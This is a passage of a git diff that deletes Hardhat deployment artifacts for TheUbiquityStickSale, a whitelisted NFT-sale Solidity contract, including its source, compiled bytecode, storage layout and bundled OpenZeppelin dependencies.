MIT\\npragma solidity 0.8.9;\\n\\n// FORK from Land DAO -> https://github.com/Land-DAO/nft-contracts/blob/main/contracts/LandSale.sol\\n\\nimport \\\"@openzeppelin/contracts/access/Ownable.sol\\\";\\nimport \\\"@openzeppelin/contracts/security/ReentrancyGuard.sol\\\";\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./interfaces/ITheUbiquityStick.sol\\\";\\n\\ncontract TheUbiquityStickSale is Ownable, ReentrancyGuard {\\n using SafeERC20 for IERC20;\\n\\n struct Purchase {\\n uint256 count;\\n uint256 price;\\n }\\n\\n // TheUbiquityStick token contract interface\\n ITheUbiquityStick public tokenContract;\\n\\n // Stores the allowed minting count and token price for each whitelisted address\\n mapping(address => Purchase) private _allowances;\\n\\n // Stores the address of the treasury\\n address public fundsAddress;\\n\\n uint256 public constant MAXIMUM_SUPPLY = 1024;\\n uint256 public constant MAXIMUM_PER_TX = 10;\\n address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\\n\\n event Mint(address from, uint256 count, uint256 price);\\n\\n event Payback(address to, uint256 unspent);\\n\\n event Withdraw(address to, address token, uint256 amount);\\n\\n constructor() {}\\n\\n function setTokenContract(address _newTokenContract) external onlyOwner {\\n require(_newTokenContract != address(0), \\\"Invalid Address\\\");\\n tokenContract = ITheUbiquityStick(_newTokenContract);\\n }\\n\\n function setFundsAddress(address _address) external onlyOwner {\\n require(_address != address(0), \\\"Invalid Address\\\");\\n fundsAddress = _address;\\n }\\n\\n // Set the allowance for the specified address\\n function setAllowance(\\n address _address,\\n uint256 _count,\\n uint256 _price\\n ) public onlyOwner {\\n require(_address != address(0), \\\"Invalid Address\\\");\\n _allowances[_address] = Purchase(_count, _price);\\n }\\n\\n // Set the allowance for the specified address\\n function batchSetAllowances(\\n address[] calldata _addresses,\\n uint256[] calldata _counts,\\n uint256[] calldata _prices\\n ) external onlyOwner {\\n uint256 count = _addresses.length;\\n\\n for (uint16 i = 0; i < count; i++) {\\n setAllowance(_addresses[i], _counts[i], _prices[i]);\\n }\\n }\\n\\n // Get the allowance for the specified address\\n function allowance(address _address) public view returns (uint256 count, uint256 price) {\\n Purchase memory _allowance = _allowances[_address];\\n count = _allowance.count;\\n price = _allowance.price;\\n }\\n\\n // Handles token purchases\\n receive() external payable nonReentrant {\\n // Check if tokens are still available for sale\\n require(tokenContract.totalSupply() < MAXIMUM_SUPPLY, \\\"Sold Out\\\");\\n uint256 remainingTokenCount = MAXIMUM_SUPPLY - tokenContract.totalSupply();\\n\\n // Check if sufficient funds are sent, and that the address is whitelisted\\n // and had enough allowance with enough funds\\n uint256 count;\\n uint256 price;\\n (count, price) = allowance(msg.sender);\\n require(count > 0, \\\"Not Whitelisted For The Sale Or Insufficient Allowance\\\");\\n\\n if (remainingTokenCount < count) count = remainingTokenCount;\\n if (msg.value < count * price) count = msg.value / price;\\n if (MAXIMUM_PER_TX < count) count = MAXIMUM_PER_TX;\\n require(count > 0, \\\"Not enough Funds\\\");\\n\\n _allowances[msg.sender].count -= count;\\n\\n uint256 paid = count * price;\\n tokenContract.batchSafeMint(msg.sender, count);\\n emit Mint(msg.sender, count, paid);\\n\\n // Calculate any excess/unspent funds and transfer it back to the buyer\\n if (msg.value > paid) {\\n uint256 unspent = msg.value - paid;\\n payable(msg.sender).transfer(unspent);\\n emit Payback(msg.sender, unspent);\\n }\\n }\\n\\n function withdraw() public nonReentrant onlyOwner {\\n payable(fundsAddress).transfer(address(this).balance);\\n }\\n}\\n\",\"keccak256\":\"0x7b321792e4109c93621f4f16e3af60750ba0e74010699e0ee5a9f99057c071ea\",\"license\":\"MIT\"},\"contracts/interfaces/ITheUbiquityStick.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.9;\\n\\ninterface ITheUbiquityStick {\\n function totalSupply() external view returns (uint256);\\n\\n function batchSafeMint(address, uint256) external;\\n}\\n\",\"keccak256\":\"0xc5dd39e07eaca22be1fe49c1a507d1af79ec268be5cf2836a335c65c02dec4c7\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x608060405234801561001057600080fd5b5061001a33610023565b60018055610073565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610d73806100826000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a77ccd6e11610059578063a77ccd6e14610608578063bbcd5bbe14610628578063bdce0b2814610648578063f2fde38b1461065d57600080fd5b8063715018a6146105b55780637f19abe0146105ca5780638da5cb5b146105ea57600080fd5b806304acbb99146104c85780633ccfd60b146104ea5780633d0c4924146104ff5780633e5beab91461052857806342dbb4ef1461055d57806355a373d61461057d57600080fd5b366104c357600260015414156101235760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b6002600181905554604080516318160ddd60e01b81529051610400926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a69190610ac9565b106101de5760405162461bcd60e51b815260206004820152600860248201526714dbdb190813dd5d60c21b604482015260640161011a565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561022357600080fd5b505afa158015610237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025b9190610ac9565b61026790610400610af8565b90506000806102753361067d565b9092509050816102e65760405162461bcd60e51b815260206004820152603660248201527f4e6f742057686974656c697374656420466f72205468652053616c65204f7220604482015275496e73756666696369656e7420416c6c6f77616e636560501b606482015260840161011a565b818310156102f2578291505b6102fc8183610b0f565b3410156103105761030d8134610b2e565b91505b81600a101561031e57600a91505b600082116103615760405162461bcd60e51b815260206004820152601060248201526f4e6f7420656e6f7567682046756e647360801b604482015260640161011a565b3360009081526003602052604081208054849290610380908490610af8565b90915550600090506103928284610b0f565b600254604051632c195e7f60e11b8152336004820152602481018690529192506001600160a01b031690635832bcfe90604401600060405180830381600087803b1580156103df57600080fd5b505af11580156103f3573d6000803e3d6000fd5b505060408051338152602081018790529081018490527f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f9250606001905060405180910390a1803411156104b957600061044d8234610af8565b604051909150339082156108fc029083906000818181858888f1935050505015801561047d573d6000803e3d6000fd5b5060408051338152602081018390527f8c9cdf934f136ab5b80fe11dfd56363fa7544ecb56d4c440c0d8a14d04bfff4a910160405180910390a1505b5050600180555050005b600080fd5b3480156104d457600080fd5b506104e86104e3366004610b6c565b6106b5565b005b3480156104f657600080fd5b506104e861073f565b34801561050b57600080fd5b5061051561040081565b6040519081526020015b60405180910390f35b34801561053457600080fd5b50610548610543366004610b9f565b61067d565b6040805192835260208301919091520161051f565b34801561056957600080fd5b506104e8610578366004610c0d565b610801565b34801561058957600080fd5b5060025461059d906001600160a01b031681565b6040516001600160a01b03909116815260200161051f565b3480156105c157600080fd5b506104e86108c4565b3480156105d657600080fd5b506104e86105e5366004610b9f565b6108fa565b3480156105f657600080fd5b506000546001600160a01b031661059d565b34801561061457600080fd5b5060045461059d906001600160a01b031681565b34801561063457600080fd5b506104e8610643366004610b9f565b61096c565b34801561065457600080fd5b50610515600a81565b34801561066957600080fd5b506104e8610678366004610b9f565b6109de565b6001600160a01b0316600090815260036020908152604091829020825180840190935280548084526001909101549290910182905291565b6000546001600160a01b031633146106df5760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b0383166107055760405162461bcd60e51b815260040161011a90610cdc565b60408051808201825292835260208084019283526001600160a01b0390941660009081526003909452909220905181559051600190910155565b600260015414156107925760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161011a565b60026001556000546001600160a01b031633146107c15760405162461bcd60e51b815260040161011a90610ca7565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156107fa573d6000803e3d6000fd5b5060018055565b6000546001600160a01b0316331461082b5760405162461bcd60e51b815260040161011a90610ca7565b8460005b818161ffff1610156108ba576108a888888361ffff1681811061085457610854610d05565b90506020020160208101906108699190610b9f565b87878461ffff1681811061087f5761087f610d05565b9050602002013586868561ffff1681811061089c5761089c610d05565b905060200201356106b5565b806108b281610d1b565b91505061082f565b5050505050505050565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161011a90610ca7565b6108f86000610a79565b565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b03811661094a5760405162461bcd60e51b815260040161011a90610cdc565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109965760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b0381166109bc5760405162461bcd60e51b815260040161011a90610cdc565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b038116610a6d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161011a565b610a7681610a79565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208284031215610adb57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b0a57610b0a610ae2565b500390565b6000816000190483118215151615610b2957610b29610ae2565b500290565b600082610b4b57634e487b7160e01b600052601260045260246000fd5b500490565b80356001600160a01b0381168114610b6757600080fd5b919050565b600080600060608486031215610b8157600080fd5b610b8a84610b50565b95602085013595506040909401359392505050565b600060208284031215610bb157600080fd5b610bba82610b50565b9392505050565b60008083601f840112610bd357600080fd5b50813567ffffffffffffffff811115610beb57600080fd5b6020830191508360208260051b8501011115610c0657600080fd5b9250929050565b60008060008060008060608789031215610c2657600080fd5b863567ffffffffffffffff80821115610c3e57600080fd5b610c4a8a838b01610bc1565b90985096506020890135915080821115610c6357600080fd5b610c6f8a838b01610bc1565b90965094506040890135915080821115610c8857600080fd5b50610c9589828a01610bc1565b979a9699509497509295939492505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600f908201526e496e76616c6964204164647265737360881b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600061ffff80831681811415610d3357610d33610ae2565b600101939250505056fea2646970667358221220c91d8fa2ac280cf92952e1dddd53312d06a82c3c60a71ec1a2df996fc2692b3864736f6c63430008090033", - "deployedBytecode": "0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a77ccd6e11610059578063a77ccd6e14610608578063bbcd5bbe14610628578063bdce0b2814610648578063f2fde38b1461065d57600080fd5b8063715018a6146105b55780637f19abe0146105ca5780638da5cb5b146105ea57600080fd5b806304acbb99146104c85780633ccfd60b146104ea5780633d0c4924146104ff5780633e5beab91461052857806342dbb4ef1461055d57806355a373d61461057d57600080fd5b366104c357600260015414156101235760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b6002600181905554604080516318160ddd60e01b81529051610400926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a69190610ac9565b106101de5760405162461bcd60e51b815260206004820152600860248201526714dbdb190813dd5d60c21b604482015260640161011a565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b15801561022357600080fd5b505afa158015610237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025b9190610ac9565b61026790610400610af8565b90506000806102753361067d565b9092509050816102e65760405162461bcd60e51b815260206004820152603660248201527f4e6f742057686974656c697374656420466f72205468652053616c65204f7220604482015275496e73756666696369656e7420416c6c6f77616e636560501b606482015260840161011a565b818310156102f2578291505b6102fc8183610b0f565b3410156103105761030d8134610b2e565b91505b81600a101561031e57600a91505b600082116103615760405162461bcd60e51b815260206004820152601060248201526f4e6f7420656e6f7567682046756e647360801b604482015260640161011a565b3360009081526003602052604081208054849290610380908490610af8565b90915550600090506103928284610b0f565b600254604051632c195e7f60e11b8152336004820152602481018690529192506001600160a01b031690635832bcfe90604401600060405180830381600087803b1580156103df57600080fd5b505af11580156103f3573d6000803e3d6000fd5b505060408051338152602081018790529081018490527f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f9250606001905060405180910390a1803411156104b957600061044d8234610af8565b604051909150339082156108fc029083906000818181858888f1935050505015801561047d573d6000803e3d6000fd5b5060408051338152602081018390527f8c9cdf934f136ab5b80fe11dfd56363fa7544ecb56d4c440c0d8a14d04bfff4a910160405180910390a1505b5050600180555050005b600080fd5b3480156104d457600080fd5b506104e86104e3366004610b6c565b6106b5565b005b3480156104f657600080fd5b506104e861073f565b34801561050b57600080fd5b5061051561040081565b6040519081526020015b60405180910390f35b34801561053457600080fd5b50610548610543366004610b9f565b61067d565b6040805192835260208301919091520161051f565b34801561056957600080fd5b506104e8610578366004610c0d565b610801565b34801561058957600080fd5b5060025461059d906001600160a01b031681565b6040516001600160a01b03909116815260200161051f565b3480156105c157600080fd5b506104e86108c4565b3480156105d657600080fd5b506104e86105e5366004610b9f565b6108fa565b3480156105f657600080fd5b506000546001600160a01b031661059d565b34801561061457600080fd5b5060045461059d906001600160a01b031681565b34801561063457600080fd5b506104e8610643366004610b9f565b61096c565b34801561065457600080fd5b50610515600a81565b34801561066957600080fd5b506104e8610678366004610b9f565b6109de565b6001600160a01b0316600090815260036020908152604091829020825180840190935280548084526001909101549290910182905291565b6000546001600160a01b031633146106df5760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b0383166107055760405162461bcd60e51b815260040161011a90610cdc565b60408051808201825292835260208084019283526001600160a01b0390941660009081526003909452909220905181559051600190910155565b600260015414156107925760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161011a565b60026001556000546001600160a01b031633146107c15760405162461bcd60e51b815260040161011a90610ca7565b6004546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156107fa573d6000803e3d6000fd5b5060018055565b6000546001600160a01b0316331461082b5760405162461bcd60e51b815260040161011a90610ca7565b8460005b818161ffff1610156108ba576108a888888361ffff1681811061085457610854610d05565b90506020020160208101906108699190610b9f565b87878461ffff1681811061087f5761087f610d05565b9050602002013586868561ffff1681811061089c5761089c610d05565b905060200201356106b5565b806108b281610d1b565b91505061082f565b5050505050505050565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161011a90610ca7565b6108f86000610a79565b565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b03811661094a5760405162461bcd60e51b815260040161011a90610cdc565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109965760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b0381166109bc5760405162461bcd60e51b815260040161011a90610cdc565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a085760405162461bcd60e51b815260040161011a90610ca7565b6001600160a01b038116610a6d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161011a565b610a7681610a79565b50565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208284031215610adb57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610b0a57610b0a610ae2565b500390565b6000816000190483118215151615610b2957610b29610ae2565b500290565b600082610b4b57634e487b7160e01b600052601260045260246000fd5b500490565b80356001600160a01b0381168114610b6757600080fd5b919050565b600080600060608486031215610b8157600080fd5b610b8a84610b50565b95602085013595506040909401359392505050565b600060208284031215610bb157600080fd5b610bba82610b50565b9392505050565b60008083601f840112610bd357600080fd5b50813567ffffffffffffffff811115610beb57600080fd5b6020830191508360208260051b8501011115610c0657600080fd5b9250929050565b60008060008060008060608789031215610c2657600080fd5b863567ffffffffffffffff80821115610c3e57600080fd5b610c4a8a838b01610bc1565b90985096506020890135915080821115610c6357600080fd5b610c6f8a838b01610bc1565b90965094506040890135915080821115610c8857600080fd5b50610c9589828a01610bc1565b979a9699509497509295939492505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600f908201526e496e76616c6964204164647265737360881b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600061ffff80831681811415610d3357610d33610ae2565b600101939250505056fea2646970667358221220c91d8fa2ac280cf92952e1dddd53312d06a82c3c60a71ec1a2df996fc2692b3864736f6c63430008090033", - "devdoc": { - "kind": "dev", - "methods": { - "owner()": { - "details": "Returns the address of the current owner." - }, - "renounceOwnership()": { - "details": "Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner." - }, - "transferOwnership(address)": { - "details": "Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": {}, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 389, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "_owner", - "offset": 0, - "slot": "0", - "type": "t_address" - }, - { - "astId": 497, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "_status", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 3117, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "tokenContract", - "offset": 0, - "slot": "2", - "type": "t_contract(ITheUbiquityStick)3482" - }, - { - "astId": 3122, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "_allowances", - "offset": 0, - "slot": "3", - "type": "t_mapping(t_address,t_struct(Purchase)3114_storage)" - }, - { - "astId": 3124, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "fundsAddress", - "offset": 0, - "slot": "4", - "type": "t_address" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_contract(ITheUbiquityStick)3482": { - "encoding": "inplace", - "label": "contract ITheUbiquityStick", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_struct(Purchase)3114_storage)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => struct TheUbiquityStickSale.Purchase)", - "numberOfBytes": "32", - "value": "t_struct(Purchase)3114_storage" - }, - "t_struct(Purchase)3114_storage": { - "encoding": "inplace", - "label": "struct TheUbiquityStickSale.Purchase", - "members": [ - { - "astId": 3111, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "count", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 3113, - "contract": "contracts/TheUbiquityStickSale.sol:TheUbiquityStickSale", - "label": "price", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/ubiquistick/deployments/mainnet/solcInputs/8bf0ab27bd8c6fd331076a683753223e.json b/packages/contracts/ubiquistick/deployments/mainnet/solcInputs/8bf0ab27bd8c6fd331076a683753223e.json deleted file mode 100644 index 804d9b701..000000000 --- a/packages/contracts/ubiquistick/deployments/mainnet/solcInputs/8bf0ab27bd8c6fd331076a683753223e.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "language": "Solidity", - "sources": { - "contracts/interfaces/ITheUbiquityStick.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.9;\n\ninterface ITheUbiquityStick {\n function totalSupply() external view returns (uint256);\n\n function batchSafeMint(address, uint256) external;\n}\n" - }, - "contracts/TheUbiquityStickSale.sol": { - "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.9;\n\n// FORK from Land DAO -> https://github.com/Land-DAO/nft-contracts/blob/main/contracts/LandSale.sol\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"./interfaces/ITheUbiquityStick.sol\";\n\ncontract TheUbiquityStickSale is Ownable, ReentrancyGuard {\n using SafeERC20 for IERC20;\n\n struct Purchase {\n uint256 count;\n uint256 price;\n }\n\n // TheUbiquityStick token contract interface\n ITheUbiquityStick public tokenContract;\n\n // Stores the allowed minting count and token price for each whitelisted address\n mapping(address => Purchase) private _allowances;\n\n // Stores the address of the treasury\n address public fundsAddress;\n\n uint256 public constant MAXIMUM_SUPPLY = 1024;\n uint256 public constant MAXIMUM_PER_TX = 10;\n address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\n\n event Mint(address from, uint256 count, uint256 price);\n\n event Payback(address to, uint256 unspent);\n\n event Withdraw(address to, address token, uint256 amount);\n\n constructor() {}\n\n function setTokenContract(address _newTokenContract) external onlyOwner {\n require(_newTokenContract != address(0), \"Invalid Address\");\n tokenContract = ITheUbiquityStick(_newTokenContract);\n }\n\n function setFundsAddress(address _address) external onlyOwner {\n require(_address != address(0), \"Invalid Address\");\n fundsAddress = _address;\n }\n\n // Set the allowance for the specified address\n function setAllowance(\n address _address,\n uint256 _count,\n uint256 _price\n ) public onlyOwner {\n require(_address != address(0), \"Invalid Address\");\n _allowances[_address] = Purchase(_count, _price);\n }\n\n // Set the allowance for the specified address\n function batchSetAllowances(\n address[] calldata _addresses,\n uint256[] calldata _counts,\n uint256[] calldata _prices\n ) external onlyOwner {\n uint256 count = _addresses.length;\n\n for (uint16 i = 0; i < count; i++) {\n setAllowance(_addresses[i], _counts[i], _prices[i]);\n }\n }\n\n // Get the allowance for the specified address\n function allowance(address _address) public view returns (uint256 count, uint256 price) {\n Purchase memory _allowance = _allowances[_address];\n count = _allowance.count;\n price = _allowance.price;\n }\n\n // Handles token purchases\n receive() external payable nonReentrant {\n // Check if tokens are still available for sale\n require(tokenContract.totalSupply() < MAXIMUM_SUPPLY, \"Sold Out\");\n uint256 remainingTokenCount = MAXIMUM_SUPPLY - tokenContract.totalSupply();\n\n // Check if sufficient funds are sent, and that the address is whitelisted\n // and had enough allowance with enough funds\n uint256 count;\n uint256 price;\n (count, price) = allowance(msg.sender);\n require(count > 0, \"Not Whitelisted For The Sale Or Insufficient Allowance\");\n\n if (remainingTokenCount < count) count = remainingTokenCount;\n if (msg.value < count * price) count = msg.value / price;\n if (MAXIMUM_PER_TX < count) count = MAXIMUM_PER_TX;\n require(count > 0, \"Not enough Funds\");\n\n _allowances[msg.sender].count -= count;\n\n uint256 paid = count * price;\n tokenContract.batchSafeMint(msg.sender, count);\n emit Mint(msg.sender, count, paid);\n\n // Calculate any excess/unspent funds and transfer it back to the buyer\n if (msg.value > paid) {\n uint256 unspent = msg.value - paid;\n payable(msg.sender).transfer(unspent);\n emit Payback(msg.sender, unspent);\n }\n }\n\n function withdraw() public nonReentrant onlyOwner {\n payable(fundsAddress).transfer(address(this).balance);\n }\n}\n" - }, - "@openzeppelin/contracts/access/Ownable.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n" - }, - "@openzeppelin/contracts/security/ReentrancyGuard.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and making it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n // On the first call to nonReentrant, _notEntered will be true\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n\n _;\n\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n}\n" - }, - "@openzeppelin/contracts/token/ERC20/IERC20.sol": { - "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the 